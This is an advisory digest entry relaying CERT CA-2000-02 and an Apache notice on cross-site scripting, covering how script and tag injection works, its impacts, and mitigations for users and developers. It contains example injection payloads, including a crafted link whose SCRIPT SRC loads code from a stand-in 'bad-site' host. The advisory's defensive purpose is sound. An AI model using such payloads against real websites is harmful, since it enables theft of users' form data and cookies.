COMMAND

    CSS

SYSTEMS AFFECTED

    - Web browsers
    - Web servers that dynamically generate pages based on unvalidated input

PROBLEM

    Marc Slemko  posted following.   CERT released  an advisory  about
    a security vulnerability that has been discovered associated  with
    malicious HTML tags (especially scripting tags) being embedded  in
    client web requests.   The common name  currently associated  with
    this problem is "Cross Site  Scripting", even though this name  is
    not entirely accurate in its  description of the problem.   Please
    review the CERT advisory available at:

        http://www.cert.org/advisories/CA-2000-02.html

    for more details.  Pay particular attention to their Tech Tip  for
    Web Developers, available at:

        http://www.cert.org/tech_tips/malicious_code_mitigation.html

    There are  a number  of ways  in which  this issue  impacts Apache
    itself, and  many more  ways in  which it  impacts sites developed
    using related  technologies such  as Apache  modules, CGI scripts,
    mod_perl,  PHP,  etc.   that  runs  on  top  of Apache.  There are
    some information about this and it is available at:

        http://www.apache.org/info/css-security/

    Please visit  this page  for more  information if  you think  this
    problem  impacts  your  site  or  if  you  don't understand if the
    problem impacts your site.   Included on this page are  patches to
    Apache to  fix a  number of  related bugs  and to  add a number of
    features that  may be  helpful in  defending against  this type of
    attack.

    According to CERT  Advisory a web  site may inadvertently  include
    malicious  HTML  tags  or  script  in a dynamically generated page
    based on unvalidated input  from untrustworthy sources.   This can
    be a  problem when  a web  server does  not adequately ensure that
    generated  pages  are  properly  encoded  to  prevent   unintended
    execution of scripts, and when  input is not validated to  prevent
    malicious HTML from being presented to the user.

    Most  web  browsers  have  the  capability  to  interpret  scripts
    embedded in web pages downloaded from a web server.  Such  scripts
    may be written in a variety of scripting languages and are run  by
    the  client's  browser.   Most  browsers  are  installed  with the
    capability to run scripts enabled by default.

    Malicious code provided by one client for another client
    ========================================================
    Sites that host  discussion groups with  web interfaces have  long
    guarded against a vulnerability where one client embeds  malicious
    HTML tags in a message intended for another client.  For  example,
    an attacker might post a message like

        Hello message board. This is a message.
               <SCRIPT>malicious code</SCRIPT>
        This is the end of my message.

    When a  victim with  scripts enabled  in their  browser reads this
    message,  the  malicious  code   may  be  executed   unexpectedly.
    Scripting tags that can be embedded in this way include  <SCRIPT>,
    <OBJECT>, <APPLET>, and <EMBED>.

    When  client-to-client  communications  are  mediated by a server,
    site  developers   explicitly  recognize   that  data   input   is
    untrustworthy  when  it  is   presented  to  other  users.    Most
    discussion  group  servers  either  will  not accept such input or
    will encode/filter it before sending anything to other readers.

    Malicious code sent inadvertently by a client for itself
    ========================================================
    Many Internet web sites overlook the possibility that a client may
    send malicious data intended to be  used only by itself.  This  is
    an  easy  mistake  to  make.   After  all,  why would a user enter
    malicious code that only the user will see?

    However, this  situation may  occur when  the client  relies on an
    untrustworthy source of information when submitting a request. For
    example, an attacker may construct a malicious link such as

        <A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT>malicious code</SCRIPT>"> Click here</A>

    When an  unsuspecting user  clicks on  this link,  the URL sent to
    example.com includes the malicious code.  If the web server  sends
    a page  back to  the user  including the  value of  mycomment, the
    malicious code may be executed  unexpectedly on the client.   This
    example  also  applies  to  untrusted  links  followed in email or
    newsgroup messages.

    Abuse of Other Tags
    ===================
    In addition to scripting tags, other HTML tags such as the  <FORM>
    tag have the potential to be abused by an attacker.  For  example,
    by embedding malicious <FORM> tags at the right place, an intruder
    can trick users into revealing sensitive information by  modifying
    the behavior  of an  existing form.  Other HTML  tags can  also be
    abused to  alter the  appearance of  the page,  insert unwanted or
    offensive  images  or  sounds,  or  otherwise  interfere  with the
    intended appearance and behavior of the page.

    Abuse of Trust
    ===============
    At the heart of this vulnerability is the violation of trust  that
    results  from  the  "injected"  script  or HTML running within the
    security  context  established  for  the  example.com site. It is,
    presumably, a site the browser  victim is interested in enough  to
    visit and interact  with in a  trusted fashion.   In addition, the
    security  policy  of  the  legitimate  server site example.com may
    also be compromised.

    This example explicitly shows the involvement of two sites:

        <A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT SRC='http://bad-site/badfile'></SCRIPT>"> Click here</A>

    Note  the  SRC  attribute  in  the  <SCRIPT>  tag  is   explicitly
    incorporating  code   from  a   presumably  unauthorized    source
    (bad-site).  Both of the previous examples show violations of  the
    same-source  origination  policy  fundamental  to  most  scripting
    security models:

        - Netscape Communicator Same Origin Policy
        - Microsoft Scriptlet Security

    Because one source  is injecting code  into pages sent  by another
    source, this vulnerability has also been described as "cross-site"
    scripting.

    Users may unintentionally execute  scripts written by an  attacker
    when they follow untrusted links  in web pages, mail messages,  or
    newsgroup postings. Users  may also unknowingly  execute malicious
    scripts when viewing dynamically generated pages based on  content
    provided  by  other  users.   Because  the  malicious  scripts are
    executed in  a context  that appears  to have  originated from the
    targeted  site,  the  attacker  has  full  access  to the document
    retrieved, and may send data  contained in the page back  to their
    site.  For example, a malicious  script can read fields in a  form
    provided by the real server, then send this data to the  attacker.
    Alternatively, the attacker may be able to embed script code  that
    has  additional  interactions  with  the  legitimate  web   server
    without  alerting  the  victim.  For  example,  the attacker could
    develop an  exploit that  posted data  to a  different page on the
    legitimate web server.

    Also, even if the victim's web browser does not support scripting,
    an  attacker  can  alter  the  appearance  of  a  page, modify its
    behavior,  or  otherwise  interfere  with  normal  operation.  The
    specific  impact  can  vary  greatly  depending  on  the  language
    selected by the  attacker and the  configuration of any  authentic
    pages  involved  in  the  attack.  Some  examples  that may not be
    immediately obvious are included here.

    The malicious script tags are introduced before the Secure  Socket
    Layer (SSL) encrypted connection is established between the client
    and  the  legitimate  server.  SSL  encrypts  data  sent over this
    connection, including the malicious code, which is passed in  both
    directions.   While  ensuring  that  the  client  and  server  are
    communicating without snooping, SSL  makes no attempt to  validate
    the legitimacy  of data  transmitted.   Because there  really is a
    legitimate dialog between the  client and the server,  SSL reports
    no problems.  Malicious code that attempts to connect to a non-SSL
    URL may generate warning  messages about the insecure  connection,
    but the attacker can circumvent this warning simply by running  an
    SSL-capable web server.

    Once malicious code  is executing that  appears to have  come from
    the  authentic  web  site,  cookies  may  be  modified to make the
    attack persistent.  Specifically, if the vulnerable web site  uses
    a field from  the cookie in  the dynamic generation  of pages, the
    cookie may be modified by the attacker to include malicious  code.
    Future visits to the affected  web site (even from trusted  links)
    will be compromised when the site requests the cookie and displays
    a page based on the field containing the code.

    By constructing a malicious URL an attacker may be able to execute
    script  code  on  the  client  machine  that  exposes  data from a
    vulnerable server inside the client's intranet.  The attacker  may
    gain unauthorized  web access  to an  intranet web  server if  the
    compromised  client  has  cached  authentication  for the targeted
    server.  There  is no requirement  for the attacker  to masquerade
    as any particular  system.  An  attacker only needs  to identify a
    vulnerable  intranet  server  and  convince  the  user to visit an
    innocent looking page to expose potentially sensitive data on  the
    intranet server.

    If  your  browser  is  configured  to allow execution of scripting
    languages from some hosts or domains while preventing this  access
    from others, attackers may be able to violate this policy.

    By embedding malicious script tags  in a request sent to  a server
    that is  allowed to  execute scripts,  an attacker  may gain  this
    privilege  as  well.   For  example,  Internet  Explorer  security
    "zones" can be subverted by this technique.

    Browsers interpret the information  they receive according to  the
    character set chosen by the user if no character set is  specified
    in the page returned by the  web server.  However, many web  sites
    fail to explicitly specify the character set (even if they  encode
    or  filter  characters  with  special  meaning in the ISO-8859-1),
    leaving users of alternate character sets at risk.

    Under  some  conditions,  an  attacker  may  be able to modify the
    behavior of forms, including how results are submitted.

SOLUTION

    Apache  expects  to  release  a  new  version  of  Apache  in  the
    immediate future that includes these patches, but do not yet  have
    an exact timeline planned for this release.

    Please note  that this  issue does  not in  any way compromise the
    security of your server directly.  All the issues related to  this
    involve tricking a  client into doing  something that is  not what
    the user intends.

    Solutions for Users
    ===================
    None  of  the  solutions  that  web  users  can  take are complete
    solutions.  In the end, it is up to web page developers to  modify
    their pages to  eliminate these types  of problems.   However, web
    users  have  two  basic  options  to  reduce  their  risk of being
    attacked  through  this   vulnerability.   The  first,   disabling
    scripting  languages   in  their   browser,  provides   the   most
    protection but  has the  side effect  for many  users of disabling
    functionality that is important to them. Users should select  this
    option when they require the lowest possible level of risk.

    The  second  solution,  being  selective  about how they initially
    visit  a  web  site,  will  significantly reduce a user's exposure
    while  still  maintaining  functionality.  Users should understand
    that they are  accepting more risk  when they select  this option,
    but  are  doing  so  in  order  to  preserve functionality that is
    important to them.

    Unfortunately, it is not possible to quantify the risk  difference
    between these two options.  Users who decide to continue operating
    their   browsers   with   scripting   languages   enabled   should
    periodically revisit  the CERT/CC  web site  for updates,  as well
    as review other  sources of security  information to learn  of any
    increases in threat or risk related to this vulnerability.

    Web Users Should Disable Scripting Languages in Their Browser
    =============================================================
    Exploiting this vulnerability to  execute code requires that  some
    form of  embedded scripting  language be  enabled in  the victim's
    browser.  The  most significant impact  of this vulnerability  can
    be avoided by disabling all scripting languages.

    Note that attackers may still be able to influence the  appearance
    of content provided by the legitimate site by embedding other HTML
    tags in  the URL.  Malicious use  of the  <FORM> tag in particular
    is  not  prevented  by  disabling  scripting  languages.  Detailed
    instructions to  disable scripting  languages in  your browser are
    available from our Malicious Code FAQ:

        http://www.cert.org/tech_tips/malicious_code_FAQ.html

    Web Users Should Not Engage in Promiscuous Browsing
    ===================================================
    Some users are unable or unwilling to disable scripting  languages
    completely.  While disabling  these scripting capabilities is  the
    most effective  solution, there  are some  techniques that  can be
    used to reduce a user's exposure to this vulnerability.  Since the
    most  significant   variations  of   this  vulnerability   involve
    cross-site scripting  (the insertion  of tags  into another site's
    web  page),  users  can  gain  some  protection by being selective
    about  how  they  initially  visit  a  web site.  Typing addresses
    directly  into  the  browser   (or  using  securely-stored   local
    bookmarks) is likely to be the safest way of connecting to a site.

    Users should  be aware  that even  links to  unimportant sites may
    expose other local systems on  the network if the client's  system
    resides behind a firewall, or if the client has cached credentials
    to access  other web  servers (e.g.,  for an  intranet).  For this
    reason, cautious web browsing  is not a comparable  substitute for
    disabling scripting.   With scripting  enabled, visual  inspection
    of links does  not protect users  from following malicious  links,
    since the attackers web site may use a script to misrepresent  the
    links in users window.  For example, the contents of the Goto  and
    Status bars in Netscape are controllable by JavaScript.

    Solutions for Web Page Developers and Web Site Administrators
    ==============================================================
    Web page developers should  recode dynamically generated pages  to
    validate  output.   Web  site  administrators  and  developers can
    prevent their  sites from  being abused  in conjunction  with this
    vulnerability by ensuring that dynamically generated pages do  not
    contain   undesired   tags.    Attempting   to   remove  dangerous
    meta-characters from  the input  stream leaves  a number  of risks
    unaddressed. We  encourage developers  to restrict  variables used
    in  the  construction  of  pages  to  those  characters  that  are
    explicitly  allowed  and  to  check  those  variables  during  the
    generation of the output page.

    In addition, web pages should explicitly set a character set to an
    appropriate value  in all  dynamically generated  pages.   Because
    encoding  and  filtering  data  is  such  an  important  step   in
    responding to this vulnerability, and because it is a  complicated
    issue,  the  CERT/CC  has  written  a document which explores this
    issue in more detail:

        http://www.cert.org/tech_tips/malicious_code_mitigation.html

    Web Server Administrators Should Apply a Patch From Their Vendor
    ================================================================
    Some web  server products  include dynamically  generated pages in
    the default  installation.   Even if  your site  does not  include
    dynamic  pages  developed  locally,  your  web server may still be
    vulnerable. For  example, your  server may  include malicious tags
    in the "404  Not Found" page  generated by your  web server.   Web
    server  administrators   are  encouraged   to  apply   patches  as
    suggested by  your vendor  to address  this problem.   Appendix  A
    contains information provided by vendors for this advisory.

    Appendix A. Vendor Information

    Apache
      More information from apache can be found at

        http://www.apache.org/info/css-security

    Microsoft
      Microsoft is providing information and assistance on this  issue
      for its customers. This information will be posted at

        http://www.microsoft.com/security/

    Sun Microsystems, Inc.
      Please see recommendations for Java Web Server at:

        http://sun.com/software/jwebserver/faq/jwsca-2000-02.html

    Allaire
      Please visit the Security Zone at the Allaire Web site to  learn
      about this new  issue and what  actions you can  take to address
      this issue:

        http://www.allaire.com/security